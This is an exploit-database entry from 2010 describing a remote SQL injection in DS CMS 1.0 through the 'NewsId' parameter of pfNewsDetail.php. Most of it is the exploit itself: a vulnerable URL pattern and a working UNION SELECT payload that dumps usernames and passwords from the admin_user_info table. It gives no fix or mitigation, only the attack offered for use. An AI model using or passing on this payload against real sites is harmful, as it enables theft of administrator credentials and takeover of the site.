DS CMS 1.0 - 'NewsId' SQL Injection
| EKU-ID: 18349 | CVE: | OSVDB-ID: |
| Author: Palyo34 | Published: 2010-01-01 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 18349 | CVE: | OSVDB-ID: |
| Author: Palyo34 | Published: 2010-01-01 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Script : DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability Script site : http://cms.dsinternal.com/Home AUTHOR : Palyo34 HOME : http://www.1923turk.biz ======================================================= +++++++++++++++++++++++ Exploit +++++++++++++++++++++++ ======================================================= exploit: ------- http://server/path/pfNewsDetail.php?NewsId=[SQL] Example: -1/**/union/**/all/**/select/**/1,2,group_concat(UserPass,0x3a,UserName),4+from+admin_user_info--